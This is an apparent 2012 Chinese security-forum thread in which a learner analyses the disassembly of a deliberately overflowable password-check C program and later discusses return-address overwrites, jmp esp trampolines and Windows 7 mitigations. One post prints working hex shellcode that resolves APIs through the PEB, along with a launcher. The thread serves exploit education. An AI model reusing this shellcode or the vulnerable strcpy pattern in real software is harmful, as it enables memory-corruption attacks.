首页
社区
课程
招聘
[求助]处女贴。。。 请帮忙分析下一段c代码的反汇编
发表于: 2012-2-11 21:31 6971

[求助]处女贴。。。 请帮忙分析下一段c代码的反汇编

2012-2-11 21:31
6971
这个是看的failwest的帖子,自己试了试, 但是用ollydbg调试的时候, 下面的反汇编有点不解,希望指教一下。

编译环境: vc 6.0 release

c代码:
int verify_password (char *password)
{
  int authenticated;
  char buffer[8];  // add local buff to be overflowed
  authenticated=strcmp(password,PASSWORD);
  strcpy(buffer,password);  //over flowed here!  
  return authenticated;
}

对应的反汇编代码:
00401000  /$ 83EC 08        SUB ESP,8
00401003  |. 53             PUSH EBX
00401004  |. 56             PUSH ESI
00401005  |. 57             PUSH EDI
00401006  |. 8B7C24 18      MOV EDI,DWORD PTR SS:[ESP+18]
0040100A  |. BE 30804000    MOV ESI,verifypw.00408030                ;  ASCII "1234567"
0040100F  |. 8BC7           MOV EAX,EDI
00401011  |> 8A10           /MOV DL,BYTE PTR DS:[EAX]
00401013  |. 8A1E           |MOV BL,BYTE PTR DS:[ESI]
00401015  |. 8ACA           |MOV CL,DL
00401017  |. 3AD3           |CMP DL,BL
00401019  |. 75 1E          |JNZ SHORT verifypw.00401039
0040101B  |. 84C9           |TEST CL,CL
0040101D  |. 74 16          |JE SHORT verifypw.00401035
0040101F  |. 8A50 01        |MOV DL,BYTE PTR DS:[EAX+1]
00401022  |. 8A5E 01        |MOV BL,BYTE PTR DS:[ESI+1]
00401025  |. 8ACA           |MOV CL,DL
00401027  |. 3AD3           |CMP DL,BL
00401029  |. 75 0E          |JNZ SHORT verifypw.00401039
0040102B  |. 83C0 02        |ADD EAX,2
0040102E  |. 83C6 02        |ADD ESI,2
00401031  |. 84C9           |TEST CL,CL
00401033  |.^75 DC          \JNZ SHORT verifypw.00401011
00401035  |> 33D2           XOR EDX,EDX
00401037  |. EB 05          JMP SHORT verifypw.0040103E
00401039  |> 1BD2           SBB EDX,EDX
0040103B  |. 83DA FF        SBB EDX,-1
0040103E  |> 83C9 FF        OR ECX,FFFFFFFF
00401041  |. 33C0           XOR EAX,EAX
00401043  |. F2:AE          REPNE SCAS BYTE PTR ES:[EDI]
00401045  |. F7D1           NOT ECX
00401047  |. 2BF9           SUB EDI,ECX
00401049  |. 8D5C24 0C      LEA EBX,DWORD PTR SS:[ESP+C]
0040104D  |. 8BC1           MOV EAX,ECX
0040104F  |. 8BF7           MOV ESI,EDI
00401051  |. 8BFB           MOV EDI,EBX
00401053  |. C1E9 02        SHR ECX,2
00401056  |. F3:A5          REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
00401058  |. 8BC8           MOV ECX,EAX
0040105A  |. 8BC2           MOV EAX,EDX
0040105C  |. 83E1 03        AND ECX,3
0040105F  |. F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
00401061  |. 5F             POP EDI
00401062  |. 5E             POP ESI
00401063  |. 5B             POP EBX
00401064  |. 83C4 08        ADD ESP,8
00401067  \. C3             RETN

自己的分析:
00401006   -  00401033   是strcmp的相关指令
00401049  - 0040105F   是调用strcpy将参数复制到buffer中的指令

问题:
1、00401039  -004010347 这段红色标记指令是什么意思
2、strcpy为什么生成的指令变成这幅德行了, 为什么有00401056  和0040105F  两处的REP MOV指令呢
3、这段函数里面缓冲区8字节+4字节的authenticated,应该是12字节, release版本通过sub esp,8分配了buffer的空间,authenticated通过寄存器来保存。  所以输入“12345678”的时候把返回指令的低字节给覆盖掉了,结果报错。  release版本是不是无法像debug版本那样通过输入12345678,用0x00覆盖掉authenticated的低字节,达到hack的目的?
4、release版本不用ebp来保存stack frame base address?

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (9)
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
自己用idapro反汇编了一下, 觉得还是idapro的格式比较好看点, 此处附上:
.text:00401000 sub_401000      proc near               ; CODE XREF: _main+24p
.text:00401000
.text:00401000 var_8           = byte ptr -8
.text:00401000 arg_0           = dword ptr  4
.text:00401000
.text:00401000                 sub     esp, 8
.text:00401003                 push    ebx
.text:00401004                 push    esi
.text:00401005                 push    edi
.text:00401006                 mov     edi, [esp+14h+arg_0]
.text:0040100A                 mov     esi, offset a1234567 ; "1234567"
.text:0040100F                 mov     eax, edi
.text:00401011
.text:00401011 loc_401011:                             ; CODE XREF: sub_401000+33j
.text:00401011                 mov     dl, [eax]
.text:00401013                 mov     bl, [esi]
.text:00401015                 mov     cl, dl
.text:00401017                 cmp     dl, bl
.text:00401019                 jnz     short loc_401039
.text:0040101B                 test    cl, cl
.text:0040101D                 jz      short loc_401035
.text:0040101F                 mov     dl, [eax+1]
.text:00401022                 mov     bl, [esi+1]
.text:00401025                 mov     cl, dl
.text:00401027                 cmp     dl, bl
.text:00401029                 jnz     short loc_401039
.text:0040102B                 add     eax, 2
.text:0040102E                 add     esi, 2
.text:00401031                 test    cl, cl
.text:00401033                 jnz     short loc_401011
.text:00401035
.text:00401035 loc_401035:                             ; CODE XREF: sub_401000+1Dj
.text:00401035                 xor     edx, edx
.text:00401037                 jmp     short loc_40103E
.text:00401039 ; ---------------------------------------------------------------------------
.text:00401039
.text:00401039 loc_401039:                             ; CODE XREF: sub_401000+19j
.text:00401039                                         ; sub_401000+29j
.text:00401039                 sbb     edx, edx
.text:0040103B                 sbb     edx, 0FFFFFFFFh
.text:0040103E
.text:0040103E loc_40103E:                             ; CODE XREF: sub_401000+37j
.text:0040103E                 or      ecx, 0FFFFFFFFh
.text:00401041                 xor     eax, eax
.text:00401043                 repne scasb
.text:00401045                 not     ecx
.text:00401047                 sub     edi, ecx
.text:00401049                 lea     ebx, [esp+14h+var_8]
.text:0040104D                 mov     eax, ecx
.text:0040104F                 mov     esi, edi
.text:00401051                 mov     edi, ebx
.text:00401053                 shr     ecx, 2
.text:00401056                 rep movsd
.text:00401058                 mov     ecx, eax
.text:0040105A                 mov     eax, edx
.text:0040105C                 and     ecx, 3
.text:0040105F                 rep movsb
.text:00401061                 pop     edi
.text:00401062                 pop     esi
.text:00401063                 pop     ebx
.text:00401064                 add     esp, 8
.text:00401067                 retn
.text:00401067 sub_401000      endp
2012-2-11 21:35
0
雪    币: 435
活跃值: (1277)
能力值: ( LV13,RANK:388 )
在线值:
发帖
回帖
粉丝
3
1、00401039  -004010347 这段红色标记指令是什么意思
上面两个sbb是吧strcmp结果放edx
下面几条是strlen

2、strcpy为什么生成的指令变成这幅德行了, 为什么有00401056  和0040105F  两处的REP MOV指令呢
rep movsd是按dword拷贝,rep movesb按字节拷贝,ecx里是串长度,这个长度就是1里strlen出来的
这里编译器分了两步做,先把长度除以4,按dw拷,再将余数按byte拷,估计是当字符串长度比较长时候这样效率更高一点

3、这段函数里面缓冲区8字节+4字节的authenticated,应该是12字节, release版本通过sub esp,8分配了buffer的空间,authenticated通过寄存器来保存。  所以输入“12345678”的时候把返回指令的低字节给覆盖掉了,结果报错。  release版本是不是无法像debug版本那样通过输入12345678,用0x00覆盖掉authenticated的低字节,达到hack的目的?
在strcmp后面插一条 printf("%x", &authenticated);
可以强制让编译器分配栈空间

4、release版本不用ebp来保存stack frame base address?
编译选项里关掉FPO省略栈指针
2012-2-12 02:40
0
雪    币: 435
活跃值: (1277)
能力值: ( LV13,RANK:388 )
在线值:
发帖
回帖
粉丝
4
另外 关于第三个问题
不能覆盖变量,能覆盖返回地址就能控制程序流向了 直接retn到输出成功信息那里不就行了,理论上
或者输入内容里写一段shellcode retn jmp esp xxx的也行啊,那多优雅啊,相比之下覆盖变量就弱了哈哈

给传个你的bin啊
2012-2-12 02:50
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
非常感谢, 汇编弱了点, 准备多看看, bin添加到附件了。

failwest的帖子:
http://bbs.pediy.com/showthread.php?t=56479

c代码如下:
----------
#include <stdio.h>
#define PASSWORD "1234567"

int verify_password (char *password)
{
  int authenticated;
  char buffer[8];  // add local buff to be overflowed
  authenticated=strcmp(password,PASSWORD);
  strcpy(buffer,password);  //over flowed here!  
  return authenticated;
}

main()
{
  int valid_flag=0;
  char password[1024];
  while(1)
  {
    printf("please input password:       ");
    scanf("%s",password);
    valid_flag = verify_password(password);
    if(valid_flag)
    {
      printf("incorrect password!\n\n");
    }
    else
    {
      printf("Congratulation! You have passed the verification!\n");
      break;
    }
  }
}
上传的附件:
2012-2-12 18:41
0
雪    币: 435
活跃值: (1277)
能力值: ( LV13,RANK:388 )
在线值:
发帖
回帖
粉丝
6
1用的跳板 2直接retn会异常
上传的附件:
2012-2-13 02:07
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
jmp esp方法吗? win7下跳板技术没用吧? 我看每次user32,kernel32的baseaddress都变化了。

自己按照failwest的方法, 测试了下面的shellcode, 在winxp下可以, win7下异常了。
这段shellcode主要是通过PEB,从倒入表中查找到LoadLibraryA、MessageBoxA和ExitProcess的va,然后调用MessageBoxA和ExitProcess。
可否讲解下 为何这段通用shellcode在win7下就不行呢?

char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

main()
{
       
        __asm
        {
                lea eax, popup_general
                push eax
                ret
        }
}
2012-2-13 20:21
0
雪    币: 435
活跃值: (1277)
能力值: ( LV13,RANK:388 )
在线值:
发帖
回帖
粉丝
8
win7下有两个问题
1是vs2010编出来的默认情况下数据段是不可执行的加句#pragma comment(linker,"/SECTION:.data,RWE")就行了
2是模块链表第一个是kernelbase而不是kernel32这个shellcode用了kernel32里三个函数名的hash,kernelbase里没有所以会崩这个不好弄要改 的
2012-2-14 00:18
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
1、都是vc6编译的, 不是数据区不能execute的缘故。
2、能够找到kernel32的基地址应该能够写出通用的shellcode
谢谢指点, 继续深入的学习,发现win7下dll加载地址的随机选择, PEB的随机, 导致了这种通用代码很难写。
而且GS编译选项对栈的保护, 栈的溢出也几乎不可能了。 win7应该很安全吧
2012-2-14 22:04
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
搜了一下win7 shellcode,找到定位的方法, 呵呵, 没领会你的意思, 惭愧, 要深入学习才行啊
2012-2-17 00:26
0
游客
登录 | 注册 方可回帖
返回
//